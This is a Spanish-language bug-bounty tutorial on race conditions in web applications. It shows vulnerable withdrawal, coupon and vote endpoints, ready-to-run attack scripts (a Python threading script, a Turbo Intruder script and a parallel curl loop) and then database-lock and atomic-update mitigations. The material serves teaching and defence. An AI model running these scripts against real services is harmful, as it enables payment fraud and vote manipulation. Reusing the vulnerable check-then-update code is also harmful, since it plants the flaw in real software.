bug-bounty

Race Conditions

Explotación de concurrencia para duplicar acciones (pagos, votos, cupones).

Pentester
18 minutos
CVSS 7.5
Enero 2026

¿Qué es una Race Condition?

Una Race Condition ocurre cuando múltiples threads/procesos acceden a un recurso compartido sin sincronización adecuada. En aplicaciones web, esto permiteusar cupones múltiples veces, retirar más dinero del disponible, o comprar items agotados.

Impacto Financiero

  • 💰 Retirar $1000 con saldo de $100
  • 🎟️ Usar el mismo cupón de descuento infinitas veces
  • 🎁 Reclamar el mismo reward múltiples veces
  • 📦 Comprar items con stock = 0
  • ⭐ Incrementar puntos/créditos ilimitadamente

1. Código Vulnerable Clásico

Transferencia de Dinero sin Locks

Node.js - Vulnerable a race condition
javascript
app.post('/api/withdraw', async (req, res) => {
  const { userId, amount } = req.body;
  
  // 1. Leer saldo actual
  const user = await db.users.findById(userId);
  
  // 2. Verificar si hay fondos suficientes
  if (user.balance < amount) {
    return res.status(400).json({ error: 'Insufficient funds' });
  }
  
  // ⏱️ TIEMPO DE VULNERABILIDAD ⏱️
  // Si llega otro request aquí, ambos verán el mismo balance
  
  // 3. Decrementar saldo
  await db.users.updateOne(
    { id: userId },
    { balance: user.balance - amount }
  );
  
  res.json({ success: true, new_balance: user.balance - amount });
});

Escenario de Ataque

Estado Inicial: Usuario tiene $100 en cuenta
Timeline del ataque
text
T=0ms   Request #1 llega → Lee balance = $100
T=1ms   Request #2 llega → Lee balance = $100  ← ¡Mismo valor!
T=2ms   Request #1 verifica: $100 >= $80? ✅
T=3ms   Request #2 verifica: $100 >= $80? ✅
T=4ms   Request #1 actualiza: balance = $100 - $80 = $20
T=5ms   Request #2 actualiza: balance = $100 - $80 = $20

RESULTADO: Usuario retiró $160 pero balance final = $20
           Debería ser $100 - $160 = -$60 (rechazado)
El atacante envió 2 requests simultáneos de $80 cada uno, retirando $160 con solo $100 de saldo.

2. Exploit - Cupón Infinito

Código vulnerable - Aplicar cupón
javascript
app.post('/api/apply-coupon', async (req, res) => {
  const { userId, couponCode } = req.body;
  
  // 1. Verificar que cupón existe y es válido
  const coupon = await db.coupons.findOne({ code: couponCode });
  
  if (!coupon || coupon.used_count >= coupon.max_uses) {
    return res.status(400).json({ error: 'Invalid coupon' });
  }
  
  // ⏱️ RACE CONDITION WINDOW ⏱️
  
  // 2. Incrementar contador de usos
  await db.coupons.updateOne(
    { code: couponCode },
    { used_count: coupon.used_count + 1 }
  );
  
  // 3. Aplicar descuento al usuario
  await db.users.updateOne(
    { id: userId },
    { discount: coupon.amount }
  );
  
  res.json({ success: true });
});

Script de Explotación

exploit.py - Usar cupón 100 veces
python
import requests
import threading

URL = "https://target.com/api/apply-coupon"
COOKIE = "session=your_session_here"

def apply_coupon():
    response = requests.post(
        URL,
        json={
            "userId": 123,
            "couponCode": "SAVE50"
        },
        cookies={"session": COOKIE}
    )
    print(f"Response: {response.status_code}")

# Enviar 100 requests simultáneos
threads = []
for i in range(100):
    t = threading.Thread(target=apply_coupon)
    threads.append(t)
    t.start()

# Esperar a que terminen todos
for t in threads:
    t.join()

print("[+] Attack completed! Check your discount balance.")
Resultado del exploit
Response: 200 Response: 200 Response: 200 ... [+] Attack completed! Check your discount balance. # Verificar cuenta GET /api/profile { "balance": $5000, ← ¡Cupón de $50 usado 100 veces! "original_balance": $0 }

3. Explotación con Burp Suite

Turbo Intruder Extension

Burp tiene una extensión llamada Turbo Intruder diseñada específicamente para explotar race conditions con requests paralelos.

Paso 1: Capturar Request

Request vulnerable
POST /api/redeem-reward HTTP/1.1 Host: vulnerable-app.com Cookie: session=abc123 Content-Type: application/json { "reward_id": 42, "user_id": 123 }

Paso 2: Turbo Intruder Script

turbo-intruder.py
python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=50,  # 50 conexiones paralelas
        requestsPerConnection=10,
        pipeline=False
    )

    # Enviar 100 requests idénticos simultáneamente
    for i in range(100):
        engine.queue(target.req)

def handleResponse(req, interesting):
    table.add(req)
Con concurrentConnections=50, Turbo Intruder envía requests en paralelo verdadero, maximizando la probabilidad de race condition.

Paso 3: Analizar Resultados

Respuestas esperadas
text
# Si vulnerable:
Request #1: {"status": "success", "points_added": 1000}
Request #2: {"status": "success", "points_added": 1000}
Request #3: {"status": "success", "points_added": 1000}
...
Request #100: {"status": "success", "points_added": 1000}

Total points: 100,000 (debería ser 1,000)

# Si protegido correctamente:
Request #1: {"status": "success", "points_added": 1000}
Request #2: {"status": "error", "message": "Already redeemed"}
Request #3: {"status": "error", "message": "Already redeemed"}
...

4. Limit Override Race Condition

Aplicaciones que limitan acciones (ej: 5 votos por día) son vulnerables si el check y el incremento no son atómicos:

Código vulnerable - Límite de votos
javascript
app.post('/api/vote', async (req, res) => {
  const { userId, postId } = req.body;
  
  // 1. Contar votos actuales
  const votes = await db.votes.count({
    user_id: userId,
    date: today
  });
  
  // 2. Verificar límite
  if (votes >= 5) {
    return res.status(429).json({ error: 'Daily limit exceeded' });
  }
  
  // ⏱️ RACE CONDITION ⏱️
  
  // 3. Crear voto
  await db.votes.create({
    user_id: userId,
    post_id: postId,
    date: today
  });
  
  res.json({ success: true });
});

Exploit - 100 Votos en 1 Segundo

Enviar requests simultáneos con parallel
bash
# Crear archivo con URL y payload
cat > vote_payload.json <<EOF
{
  "userId": 123,
  "postId": 456
}
EOF

# Enviar 100 requests paralelos con GNU parallel
seq 1 100 | parallel -j 100 \
  curl -X POST https://target.com/api/vote \
    -H "Cookie: session=abc123" \
    -H "Content-Type: application/json" \
    -d @vote_payload.json

# Resultado: 100 votos creados, límite era 5

Mitigación Completa

✅ Solución: Operaciones Atómicas + Database Locks

La única forma segura es usar locks de base de datos o transacciones atómicas.

1. Database Transactions con Row Locking

✅ SEGURO - PostgreSQL con SELECT FOR UPDATE
javascript
const { Pool } = require('pg');
const pool = new Pool();

app.post('/api/withdraw', async (req, res) => {
  const { userId, amount } = req.body;
  const client = await pool.connect();
  
  try {
    // Iniciar transacción
    await client.query('BEGIN');
    
    // ✅ LOCK de fila - nadie más puede leer/modificar hasta COMMIT
    const result = await client.query(
      'SELECT balance FROM users WHERE id = $1 FOR UPDATE',
      [userId]
    );
    
    const balance = result.rows[0].balance;
    
    if (balance < amount) {
      await client.query('ROLLBACK');
      return res.status(400).json({ error: 'Insufficient funds' });
    }
    
    // Actualizar balance
    await client.query(
      'UPDATE users SET balance = balance - $1 WHERE id = $2',
      [amount, userId]
    );
    
    // Commit - liberar lock
    await client.query('COMMIT');
    
    res.json({ success: true });
    
  } catch (error) {
    await client.query('ROLLBACK');
    res.status(500).json({ error: 'Transaction failed' });
  } finally {
    client.release();
  }
});

FOR UPDATE

SELECT ... FOR UPDATE crea un lock exclusivo en la fila. Otros requests esperarán hasta que el primero haga COMMIT o ROLLBACK.

2. Atomic Increment (MongoDB)

✅ SEGURO - Usar operadores atómicos
javascript
app.post('/api/apply-coupon', async (req, res) => {
  const { userId, couponCode } = req.body;
  
  // ✅ SEGURO - Incremento atómico con findOneAndUpdate
  const result = await db.coupons.findOneAndUpdate(
    {
      code: couponCode,
      used_count: { $lt: 100 }  // Solo si aún no llegó al límite
    },
    {
      $inc: { used_count: 1 }    // Incrementar atómicamente
    },
    {
      returnDocument: 'after'
    }
  );
  
  if (!result) {
    return res.status(400).json({ error: 'Coupon exhausted or invalid' });
  }
  
  // Aplicar descuento
  await db.users.updateOne(
    { id: userId },
    { $inc: { discount: result.amount } }
  );
  
  res.json({ success: true });
});

3. Redis Distributed Lock

✅ SEGURO - Lock distribuido con Redis
javascript
const Redis = require('ioredis');
const redis = new Redis();

async function withLock(key, ttl, callback) {
  const lockKey = `lock:${key}`;
  const lockValue = Math.random().toString(36);
  
  // Intentar obtener lock
  const acquired = await redis.set(
    lockKey,
    lockValue,
    'EX', ttl,     // Expira en ttl segundos
    'NX'           // Solo si no existe
  );
  
  if (!acquired) {
    throw new Error('Could not acquire lock');
  }
  
  try {
    return await callback();
  } finally {
    // Liberar lock solo si es nuestro
    const script = `
      if redis.call("get", KEYS[1]) == ARGV[1] then
        return redis.call("del", KEYS[1])
      else
        return 0
      end
    `;
    await redis.eval(script, 1, lockKey, lockValue);
  }
}

app.post('/api/withdraw', async (req, res) => {
  const { userId, amount } = req.body;
  
  try {
    // ✅ SEGURO - Solo un request puede ejecutar a la vez por usuario
    await withLock(`user:${userId}`, 10, async () => {
      const user = await db.users.findById(userId);
      
      if (user.balance < amount) {
        throw new Error('Insufficient funds');
      }
      
      await db.users.updateOne(
        { id: userId },
        { balance: user.balance - amount }
      );
    });
    
    res.json({ success: true });
    
  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

4. Rate Limiting por Usuario

✅ SEGURO - Limitar requests por usuario
javascript
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');

const limiter = rateLimit({
  store: new RedisStore({
    client: redis
  }),
  windowMs: 1000,  // 1 segundo
  max: 1,          // Solo 1 request por segundo por usuario
  keyGenerator: (req) => `user:${req.body.userId}`,
  handler: (req, res) => {
    res.status(429).json({
      error: 'Too many requests, please slow down'
    });
  }
});

app.post('/api/withdraw', limiter, async (req, res) => {
  // ... lógica de retiro
});

Siguiente: JWT Vulnerabilities

Explotar JSON Web Tokens
Por Aitana Security Team